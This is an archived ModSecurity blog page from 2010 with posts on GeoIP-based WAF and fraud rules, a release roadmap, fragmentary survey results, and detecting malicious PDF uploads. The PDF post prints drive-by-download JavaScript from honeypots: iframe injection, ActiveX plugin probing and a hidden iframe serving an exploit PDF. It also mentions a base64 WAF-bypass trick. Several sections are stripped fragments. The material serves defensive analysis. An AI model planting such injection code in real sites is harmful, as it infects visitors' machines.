ModSecurity Trustwave
This blog has moved! Please update your
bookmarks to

ModSecurity Blog: October 2010

Detecting Malice with ModSecurity: GeoLocation Data

I would like to introduce a new blog series entitled - Detecting Malice with ModSecurity and will be used as an alternative to the Advanced Topic of the Week blog posts.  The the idea is to take the outstanding web application intrusion/fraud detection concepts introduced by my friend Robert "Rsnake" Hansen in his book Detecting Malice and provide real-life implementation examples using ModSecurity.  Rsnake has given me the green light to provide actual snippets of text/quotes directly from his book!  The format will be that Rsnake will setup the underlying issues and methods to identify bad behavior and then I will present some practical implementations using ModSecurity.

In this installment of Detecting Malice with ModSecurity, we will discuss how to use Geolocation data.

Geolocation section from Detecting Malice

IP addresses aren’t quite like street addresses, but they’re sometimes close. There are a number of projects that correlate, with varying success, IP address information to geographic locations. Some very large retailers help these databases by tying in IP address information collected along with address information given by their users during registration. Others tie in ISP information and geographic information with the IP address – a far less precise method in practice. Yet others still use ping time and hops to get extremely accurate measurement estimates of physical location.

The following information is typically available in GeoIP databases:

 Country

 Region (for some countries)

 City

 Organization (typically from the WHOIS database)


 Connection speed

 Domain name

There are lots of reasons you may be interested in the physical location of your users. Advertisers are always on the lookout for ways to make their ads more interesting and meaningful (because that increases their click-through rate), and serving local ads is a good way to achieve that. Relevance is key, and that can be optimized by targeting the results to a user’s location.

Geographic information can also give you clues to the user’s disposition. If you are running a website in the United States and someone from another country is accessing your site, it may tell you quite a bit about the possible intentions of that user. That becomes more interesting if the site is disliked in principle by the population of other countries, or doesn’t do business with that country in particular. For example, many sites are totally blocked by the Chinese’s system of firewalls because the Chinese government believes certain words or thoughts are disruptive to the government’s goals. If someone from China IP space visits your site despite you being blocked by the Chinese government’s firewalls, there is a high likelihood the traffic is state sponsored.

Similarly, if you know that a large percentage of your fraud comes from one location in a particular high crime area of a certain city, it might be useful to know that a user is accessing your site from a cyber café in that same high crime area. Perhaps you can put a hold on that shipment until someone can call the user and verify the recipient. Also if you know that fraud tends to happen in certain types of socio- economic geographies, it could help you heuristically to determine the weighted score of that user. This sort of information may not be available to you in your logs, but could easily be mined through external sources of relevant crime information. Companies like ESRI heavily focus on mapping demographics, for instance.

In terms of history, it doesn’t hurt to look back into time and see if the IP address of the user has ever connected to you before. That information combined with their status with the website can be useful information. Another thing to consider is the type of connection used. If you know the IP space belongs to a DSL provider, it may point to a normal user. If it points to a small hosting provider, and in particular a host that is also a web server, it is highly likely that it has been compromised. Knowing if the IP belongs to a datacenter or a traditional broadband or modem IP range is useful information.

Knowing the physical location can help in other ways as well. If your website does no business in certain states or with certain countries due to legislative issues, it may be useful to know that someone is attempting to access your site from those states. This is often true with online casinos, which cannot do business with people in the United States where the practice is prohibited. Alerting the user of that fact can help reduce the potential legal exposure of doing business.

One concept utilizing physical location is called, “defense condition.” Normally, you allow traffic from everywhere, but if you believe that you're being attacked you can switch to yellow (the meaning of which is specific to the websites in question but, for example, can mean that your website blocks suspicious traffic coming from certain countries) or red (your websites block any traffic from certain countries). While this may seem like a good idea, in some cases this can actually be used against a website to get a company to block other legitimate users, so the use of this concept is cautioned against.

Utilities like MaxMind’s geoipaddress lookup can give you high level information about the location of most IP addresses for free. There are other products that can give you a lot more information about the specific location of the IP address in question, which can be extremely helpful if you are concerned about certain traffic origins.

$ geoiplookup.exe GeoIP Country Edition: BR, Brazil

There has been quite a bit of research into this concept of bad geographic origins. For instance McAfee published a study citing Hong Kong (.hk), China (.cn) and the Philippines (.ph) as the three most likely top level domains to pose a security risk to their visitors. While these kinds of studies are interesting, it’s important not to simply cast blame on an entire country, but rather think about why this is the case – which can give you far more granular and useful information. It should be noted that this study talks about the danger that websites pose to internet surfers, not to websites in general, but there may be a number of ways in which your website can contact or include portions of other sites, so it still may be applicable.

Using GeoLocation Data in ModSecurity

ModSecurity supports using geolocation data through the integration with the free MaxMind GeoLite Country or GeoLite City databases. The first step is to download the database of your choice and put it somewhere on the local filesystem where ModSecurity can use it (for example in the same directory as the Core Rule Set).

Before you can use the GeoIP data, you first have to use the SecGeoLookupDb directive:


Description: Defines the path to the geographical database file.

Syntax: SecGeoLookupDb /path/to/db

Example Usage: SecGeoLookupDb /usr/local/geo/data/GeoLiteCity.dat

Processing Phase: N/A

Scope: Any

Version: 2.5.0

Dependencies/Notes: Check out for free database files.

Once the SecGeoLookupDb directive is active, you then need to use a rule similar to the following which will pass the client's IP address (REMOTE_ADDR) to the @geoLookup operator:


When this rule is executed, the GEO variable collection data will be populated with the data extracted from the GeoIP DB.  Here is an example debug log section:

[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Recipe: Invoking rule 1009c47d8; [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "30"].
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][5] Rule 1009c47d8: SecRule "REMOTE_ADDR" "@geoLookup " "phase:1,t:none,nolog,pass"[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Transformation completed in 1 usec.
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Executing operator "geoLookup" with param "" against REMOTE_ADDR.
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] Target value: ""
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: Looking up "".
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: Using address "" (0x77c0e786).
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: rec="\x77\x31\x31\x00\x53\x65\x6f\x75\x6c\x00\x00\xb0\x32\x21\x2d\xd8\x2e\x00\x00\x00\x00\xa6\x45\x37\x00\x41\x75\x63\x6b\x6c\x61\x6e\x64\x00\x00\x25\xd7\x15\x13\x22\x36\x00\x00\x00\x00\xa6\x46\x35\x00\x4e"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: country="\x77"[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: region="\x31\x31\x00"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: city="\x53\x65\x6f\x75\x6c\x00"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: latitude="\xb0\x32\x21"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: longitude="\x2d\xd8\x2e"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: dma/area="\x00\x00\x00"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO:{country_code=KR, country_code3=KOR, country_name=Korea, Republic of, country_continent=AS, region=11, city=Seoul, postal_code=, latitude=37.566399, longitude=126.999702, dma_code=0, area_code=0}
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Operator completed in 85333 usec.
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Warning. Geo lookup for "" succeeded. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "30"]

From this point on, you can use the geographic information from the GEO collection in your rules.

GeoLocation Usage Strategies

Allowed GEO Locations

If your clients only come from some specific geographic regions, then you could create a rule such as the following which would block clients who are not coming from US-based IP addresses:


DefCon Level - Static

The vast majority of organizations are global and would not want to implement this type of restriction for day-to-day operations.  This type of rule is useful, however, when the organization wants to initiate a more restrictive "Defense Condition Level" when under a direct attack.  You could make the previous rule conditional and only used when under an increased DefCon Level:  

SecAction "phase:1,t:none,nolog,pass,setvar:tx.defcon_level=1"
SecRule GEO:COUNTRY_CODE3 "!@streq USA" "chain,phase:1,t:none,log,deny,msg:'Client IP not from USA'"     
SecRule TX:DEFCON_LEVEL "@streq 1"

DefCon Level - Dynamic

While this example works, one of the big challenges in effectively using the concept of DefCon Levels with ModSecurity rules is the fact that you would have to initiate an Apache restart/reload in order for these DefCon Level variable data to be used.  This becomes a real scaling challenge if you are protecting a large server farm.  Under these types of scenarios, you can actually utilize the concept of dynamic rules which are activated based on web requests from authorized sources.  

Imagine you are running a SOC and you identify that your web sites are under attack and you want to initiate the new DefCon Level restriction rules to only allow requests from specific geographic regions.  Rather then needing to push out new Apache/ModSecurity configs to all web servers and initiate restarts, you could alternatively initiate a web request from an authorized web client system from within the SOC.  This client would have a specific IP address, User-Agent String and make a request to a specific URL with a specific parameter payload.  When this request is received by ModSecurity, the rules would then set a new DefCon level variable in a persistent Global collection.  When this happens, the GeoIP restriction rules would become active.  Once the threat has passed and the DefCon Level has been restored, a 2nd request can be sent out to all web servers to remove the DefCon Level variable and return the rules to their normal processing.  Again, the advantage of this approach is that it is a much faster method to toggle on/off a subset of rules vs having to update Apache/ModSecurity configs and initiate restarts.

Here are some example rules that implement this basic concept:

SecAction "phase:1.t:none,nolog,pass,setsid:global" 
SecRule REQUEST_FILENAME "/defcon_control" "chain,phase:1,t:none,log,msg:'DefCon Level 1 - GeoIP Restrictions Enabled.'"
    SecRule ARGS:DEFCON_LEVEL "@streq 1" "chain"
        SecRule REMOTE_ADDR "^192\.168\.1\.101$" "setvar:session.defcon_level=1" 
SecRule REQUEST_FILENAME "/defcon_control" "chain,phase:1,t:none,log,msg:'DefCon Level 1 - GeoIP Restrictions Disabled.'" 
    SecRule ARGS:DEFCON_LEVEL "5" "chain"
         SecRule REMOTE_ADDR "^192\.168\.1\.101$" "setvar:session.defcon_level=5" 
    SecRule SESSION:DEFCON_LEVEL "@streq 1"

With these rules in place, the following request from source IP would enable the DefCon Level GeoIP restriction rules:

GET /defcon_control?defcon_level=1 HTTP/1.1

Assigning Fraud/Risk Scores 

As Rsnake discussed, there are many different fraud detection resources that have assigned general risk scores to certain geographic regions.  For example, in the Clear Commerce whitepaper entitled Fraud Prevention Guide, they list the top 12 High Risk Countries:

  • Ukraine
  • Indonesia
  • Yugoslavia
  • Lithuania
  • Egypt
  • Romania
  • Bulgaria
  • Turkey
  • Russia
  • Pakistan
  • Malaysia
  • Israel

If you wanted to use this general information and assign an increased anomaly score to requests originating from these countries, you could use a rule similar to the following:

SecRule GEO:COUNTRY_CODE "@pm UA ID YU LT EG RO BG TR RU PK MY IL" "phase:1,t:none,log,pass,msg:'High Risk Fraud Location',setvar:tx.fraud_score=+10"

This rule does not block the request but it does increase the "TX:FRAUD_SCORE" variable data.  The TX data can be increased by other rules as well, such as those doing IP Reputation checks with @rbl, and then it can be evaluated at the end of the request phase when a decisions is made after correlating all detection data. 

Per-User GeoIP Data

Another Fraud related concept that can use GeoIP data is to track the Country/City data used by each user.  You can save this data in a per-user persistent collection and simply raise the fraud_score if the data changes.  This concept can be implemented either across multiple user sessions or for possible session hijacking detection during the course of one session.

Here are some example rules that will save the GEO Country Code data in a persistent User collection.  It will count the number of times that user has connected from that same country and once it is gone over the defined threshold (10), it will then issue alerts when the use logs in from a different country.

SecAction "phase:1.t:none,nolog,pass,setuid:%{args.username}" SecRule REMOTE_ADDR "@geoLookup" "phase:1,t:none,nolog,pass" 
SecRule &USER:GEO_COUNTRY_CODE "@eq 0" "phase:1,t:none,nolog,pass,setvar:user.geo_country_code=%{geo.country_code},setvar:user.geo_country_code_counter=+1" 
SecRule GEO:COUNTRY_CODE "@streq %{user.geo_country_code}" "phase:1,t:none,nolog,pass,setvar:user.geo_country_code_counter=+1" 
SecRule USER:GEO_COUNTRY_CODE_COUNTER "@gt 10" "chain,phase:1,t:none,log,pass,msg:'Geo Country Code Change for User.',logdata:'Username: %{userid}, Expected Country Code: %{user.geo_country_code}, Current Country Code: %{geo.country_code}'"
    SecRule GEO:COUNTRY_CODE "!@streq %{user.geo_country_code}" "setvar:tx.fraud_score=+10"

The final example shows how you can identify if the GEO Country Code data changes during the course of a Session (using JSESSIONID as the example).  The key is to save the GEO:COUNTRY_CODE data when the application issues a Set-Cookie SessionID and then validate it on subsequent requests.

SecRule REQUEST_COOKIES:JSESSIONID ".*" "chain,phase:1,t:none,pass,nolog,auditlog,msg:'Geo Country Code Change During Session.',setsid:%{request_cookies.jsessionid}"
    SecRule GEO:COUNTRY_CODE "!@streq %{session.geo_country_code}"
SecRule RESPONSE_HEADERS:/Set-Cookie2?/ "(?:jsessionid=([^\s]+)\;\s?)" "phase:3,t:none,pass,nolog,capture,setsid:%{TX.2},setvar:session.geo_country_code=%{geo.country_code}"

Hopefully the data presented in this blog post will help users to be able to better utilize GeoIP data.

ModSecurity Life cycle

We are proud to announce the new release 2.5.13 is under development and will be released next month! it will be the last release of 2.5 series and will fix some important issues reported by the community.
Also we decided to release two new important features for the community:

    * New setvar Lua API

        The new hook can be used to push back data from a Lua script to ModSecurity.As an example let's suppose you wanna change all single quotes (') present into request arguments by quotes (")



        function main()
            -- Start Converter code
                -- Retrieve all parameters
                    vars = m.getvars("ARGS", "none", "urlDecodeUni");
                    -- Examine all variables
                    for i = 1, #vars do
                      value = (vars[i].value);
                            m.log(4, "value is: " .. value .. ".");
                       tmp_value = string.gsub(value, "\'", "\"");
                                m.log(4, "tmp_value is: " .. tmp_value .. ".");

                        return ("Normalized Payload: " .. vars[i].name .. " = " .. tmp_value .. "");
                -- Nothing wrong found.
            return nil;

        So, the new QuoteDecoded variable can be accessed by getvar Lua hooks or/and by a SecRule and be used in another rule and/or scripts.

        ie: SecRule TX:QuoteDecoded

    * New base64 transformation function base64DecodeExt

        Some months ago a researcher called Stefano Di Paola posted in his blog a method that can be used to bypass WAFs protections by sending malicious data encoded with base64 plus special characters.
        Most applications will recognize this malicious traffic as an invalid base64, but some others (ie. based on PHP) will skip the invalid characters and will decode the data. We know, analyzing the user survey, that most ModSecurity users are protecting PHP applications, for this reason we decided to create a new transformation function called base64DecodeExt which will decode base64 data skipping special characters.

We are going to update our documentation to provide more information and examples about advanced ModSecurity features (GeoIP, Lua API …).

After the last 2.5 release we are going to start the new 2.6 series, which already has a big list of features and issues to solve.  I'm going to publish the new 2.6 roadmap soon here in this blog.
Thinking more in the future, for medium (2.7, 2.8 and 2.9 series) and long term (3.0) we are looking for interesting features like:

    * More sophisticated DDoS detection engine
    * Positive security model (Learning)
    * Expand Lua API
    * Cuda Support
    * Provide an API to de-attach Modsecurity from Apache and plug in other
    applications (IDS/IPS, Firewalls etc)
    * Unicode Mappings
    * More transformation functions
    … And a lot of more

Also In a near future i'm going to write a new post about current ModSecurity source code organization and code style. So, anybody in the community who want to contribute will be well accepted!

Thanks for your attention

ModSecurity User Survey Results Released



ModSecurity User Survey 2010 Results


﻿﻿﻿ ChartExport1

















  1. To reduce false positives
  2. To reduce false negatives























Pretty evenly split between embedded mode vs. proxy mode.




















8.3.2 WAF application manager (per application)


  • Implementation and maintainance of the WAF configuration specific to the application
  • Close cooperation with the WAF application managers and platform managers






























Advanced Topic of the Week: Request Header Tagging

Request Header Tagging






Suspicious External User Behavior














[Java] [.Net] [PHP]




Accept-Encoding: gzip,deflate
Connection: Keep-Alive


Welcome Aboard Breno Silva



Please join me in welcoming Breno!

Advanced Topic of the Week: Preventing Malicious PDF File Uploads

Many reports have indicated that malicious PDFs that exploit flaws in Adobe's Acrobat Reader are the top client-side attack vectors.  As indicated in many news stories and backed up by the WASC WHID real-time reporting, planting of malware on websites is a major problem for web site owners.  The last thing that they want to do is to serve malicious code to their clients.  There are many different methods for adding malicious code to web applications including:

Speaking from first hand knowledge gained from monitoring web-based honeypots, I can attest to the drive-by downloading methodology used in a majority of these attacks.  They initially inject some small javascript/iframe snippet of code into the application and then they bounce the web web requests around until finally they send the malicious code.

Initial injection into the index.html page:

document.writeln("<iframe  src='' width='100' height='0'></iframe>");

This takes you to the 84.htm page which checks the browser's User-Agent string and then redirects the user to the appropriate following page:

<script language="javascript" src="" charset="gb2312"></script>
document.write("<iframe src=he.htm width=100 height=0></iframe>");
document.write("<iframe width=100 height=0 src=test.htm></iframe>");
gggggg = "<iframe src=02.htm width=100 height=0></iframe>";
document.write("<iframe src=pp.htm width=100 height=0></iframe>");</script>
<script src=""></script>

This then leads to the pp.htm page which checks for different browser plugins include AcroPDF:

try{var a;
var p=new ActiveXObject("AcroPDF.PDF.1");}
finally{if(a!="[object Error]"){document.write("<iframe width=100 height=0 src=p.htm></iframe>");}}
try{var b;
var ff=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}
finally{if(b!="[object Error]"){document.write("<iframe width=100 height=0 src=f.htm></iframe>");}}
try{var c;
var f=new ActiveXObject("OWC10.Spreadsheet");}catch(c){}; 
finally{if(c!="[object Error]"){aacc = "<iframe src=of.htm width=111 height=111></iframe>"
setTimeout("document.write(aacc)", 10000 );}}
function Game()
Hdmddd = "IERPCtl.IERPC"+"tl.1";
Gime = new ActiveXObject(Hdmddd);
Tellm = Gime.PlayerProperty("PRODUCTV"+"ERSION");
document.write("<iframe width=100 height=0 src=r.htm></iframe>");
document.write("<iframe width=100 height=0 src=r.html></iframe>");

If your browser has the AcroPDF plugin, it will then be sent to the p.htm page which simply includes an iframe to download the final malicious pdf file called "pef.pdf":

<iframe src=pef.pdf width=0 height=0></iframe>

A quick check on the VirusTotal website lists the following data:

AntivirusVersionLast UpdateResult
AhnLab-V3 2010.10.05.00 2010.10.04 -
AntiVir 2010.10.05 HEUR/HTML.Malware
Antiy-AVL 2010.10.05 -
Authentium 2010.10.05 PDF/Pidief.O
Avast 4.8.1351.0 2010.10.05 JS:ShellCode-B
Avast5 5.0.594.0 2010.10.05 JS:ShellCode-B
AVG 2010.10.05 -
BitDefender 7.2 2010.10.05 Exploit.PDF-JS.Gen
CAT-QuickHeal 11.00 2010.10.05 -
ClamAV 2010.10.05 BC.PDF.Parser-4.MalwareFound
Comodo 6290 2010.10.05 -
DrWeb 2010.10.05 Exploit.PDF.181
Emsisoft 2010.10.05 -
eSafe 2010.10.05 -
eTrust-Vet 36.1.7893 2010.10.05 -
F-Prot 2010.10.04 PDF/Pidief.O
F-Secure 9.0.15370.0 2010.10.05 Exploit.PDF-JS.Gen
Fortinet 2010.10.05 -
GData 21 2010.10.05 Exploit.PDF-JS.Gen
Ikarus T3. 2010.10.05 -
Jiangmin 13.0.900 2010.10.05 -
K7AntiVirus 9.63.2680 2010.10.05 -
Kaspersky 2010.10.05 Exploit.JS.Pdfka.ju
McAfee 5.400.0.1158 2010.10.05 -
McAfee-GW-Edition 2010.1C 2010.10.05 -
Microsoft 1.6201 2010.10.05 Exploit:JS/Mult.AG
NOD32 5506 2010.10.05 JS/Exploit.Pdfka.NKB
Norman 6.06.07 2010.10.05 JS/Shellcode.EP
nProtect 2010-10-05.02 2010.10.05 Exploit.PDF-JS.Gen
Panda 2010.10.05 -
PCTools 2010.10.02 Trojan.Generic
Prevx 3.0 2010.10.05 -
Rising 2010.09.30 -
Sophos 4.58.0 2010.10.05 Troj/PDFJS-CJ
Sunbelt 6990 2010.10.05 Exploit.PDF-JS.Gen (v)
SUPERAntiSpyware 2010.10.05 -
Symantec 20101.2.0.161 2010.10.05 Downloader
TheHacker 2010.10.04 -
TrendMicro 2010.10.05 -
TrendMicro-HouseCall 2010.10.05 -
VBA32 2010.10.05 -
ViRobot 2010.10.4.4074 2010.10.05 -
VirusBuster 2010.10.05 -


If you had not kept up with your Adobe Acrobat updates, or as it seems more and more frequently, if the badguys have 0-day PDF reader exploits, then your system will get pwned...

File Upload Abuse

While these attack vectors are prevalent, another vector that is often used is to abuse an applications own file upload capability to plant malicious files on the site for other clients to download later.  Allowing clients to upload files to your web application can potentially cause big problems however many businesses require this functionality.

If you must allow for file uploads in your web application, I strongly encourage you to review the OWASP Unrestricted File Upload vulnerability page.  While it is certainly possible to attack the web application platform itself, the salient point to highlight in this blog post is the following section:

Attacks on other systems

  • Upload virus infected file - victims' machines infected

This means that the end goal of the attack is to use the web applications own file upload mechanism in order to spread malicious files to other clients.  So, the question them becomes "How can we analyze these file attachments being uploaded in order to prevent any malicious ones from making into our web application?"

Don't be fooled into thinking that this an easily solved question.  Many business owners erroneously believe that you can use your standard AV software to scan the file.  What they fail to grasp is the fact that AV software typically only scan OS leve files and these file attachments are usually transient in the HTTP transaction.  They often traverse reverse proxy servers, load-balancers, etc... until they are finally stored inside a database in a blob format.  OS level AV software scanning won't really help in this situation.  So how can we do AV scanning of HTTP file attachment uploads?

ModSecurity's @inspectFile operator provides the capability to extract out file attachments so that they can be examined by OS level validation tools.  Older versions of ModSecurity also include a perl script called that can be used to have clamAV scan the extracted file attachments.  Keep in mind that you are not tied to using only clamAV.  You can use any script/tool that you want to inspect a file's contents.  In this example we are going to show using the @inspectFile operator in action.

In my modsecurity_crs_15_customrules.conf file, I add this example rule -

SecRule FILES_TMPNAMES "@inspectFile base_rules/" "phase:2,t:none,log,deny,msg:'Malicous File Attachment Identified.'"

I then need to update the file to adjust settings for my local system and call up the clamscan tool.  Now, if a user uploads a malicious PDF file, such as the "pef.pdf" example I gathered from the web honeyopts, it can be inspected by our script.  If we send a fie attachment request with the pef.pdf file to our web server with the new rule, we will get a 403 Forbidden and see the following in the Apache error_log:

[Tue Oct 05 15:10:39 2010] [error] [client] ModSecurity: Access denied with code 403 (phase 2). File "/usr/local/apache/logs/uploads//20101005-151033-TKt4KcCoAWwAAQi@E78AAABA-file-x1hBCw" rejected by the approver script "/usr/local/apache/conf/modsec_current/base_rules/": 0 clamscan: Exploit.PDF-72 [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "1"] [msg "Malicous File Attachment Identified."] [hostname "localhost"] [uri "/cgi-bin/fup.cgi"] [unique_id "TKt4KcCoAWwAAQi@E78AAABA"]

Identifying Malicious PDFs Through Advanced PDF Structure Analysis

While clamAV is an adequate free open for AV scanning, the old adage holds true: You get what you pay for.  PDF exploit development has advanced to such a degree that signature analysis along is not sufficient to identify malicious files.  What is needed is a heuristic analysis of the PDF structure to identify malicious characteristics.  It just so happens that one of my colleagues here on the Trustwave SpiderLabs Research Team, Rodrigo (@spookerlabs) Montoro has developed a really cool method based on this concept and he will be presenting it at the upcoming Toorcon conference.  Check out his blog post that lists some rather surprisingly low detection rates for malicious PDFs from the AV software used with VirtualTotal.  He created a script that checks various PDF structures  and scores the components.  Here is an example of running his script against a malicious PDF that clamAV did not trigger on:

Cross-Table must be bigger than 0 Suspect - Agenda.pdf with  xref 0 
xref not equal startxref Suspect - Agenda.pdf with  xref = 0 / startxref = 2 
One Page only PDF Suspect - Agenda.pdf with  /Page 1 
ObjStm (possible Malware embedded) Detected Suspect - Agenda.pdf with  /ObjStm 5 
AcroForm Detected Suspect - Agenda.pdf with  /AcroForm 1 
EmbeddedFile Detected Suspect - Agenda.pdf with  /EmbeddedFile 9 
Agenda.pdf Malicious PDF Detected - Score: 16.6

So, if we want to apply this PDF analysis check against our uploaded files, we simply need to update the format of the script output for use with the ModSecurity @inspectFile operator.  We need to make sure that the the first character is a "1" if the file is not malicious and a "0" if it is malicious.  After plugging in the new script to my SecRule, here is what I get when trying to upload this new malicious PDF that was missed by clamAV:

[Tue Oct 05 16:45:49 2010] [error] [client] ModSecurity: Access denied with code 403 (phase 2). File "/usr/local/apache/logs/uploads//20101005-164547-TKuOe8CoAWwAAQtvFKgAAACA-file-k6mpjv" rejected by the approver script "/usr/local/apache/conf/modsec_current/base_rules/": 0 pdfscan:  Malicious PDF Detected - Score: 2.6 [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "1"] [msg "Malicous PDF File Attachment Identified."] [hostname "localhost"] [uri "/cgi-bin/fup.cgi"] [unique_id "TKuOe8CoAWwAAQtvFKgAAACA"]

So as you can see, we can get more accurate results for identifying malicious PDF files uploaded vs. other AV software.  OK, now before you ask, access to Rodrigo's PDF analysis script is not ready for public release.  It will be released by Trustwave SpiderLabs at some point in the future.

Keep in mind that the @inspectFile operator is simply a type of API that will allow you to inspect file attachments.  It is up to you to decide which type of program you would like to plug-in and use.


November 2010
Sun Mon Tue Wed Thu Fri Sat
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30


Atom Feed



Recent Entries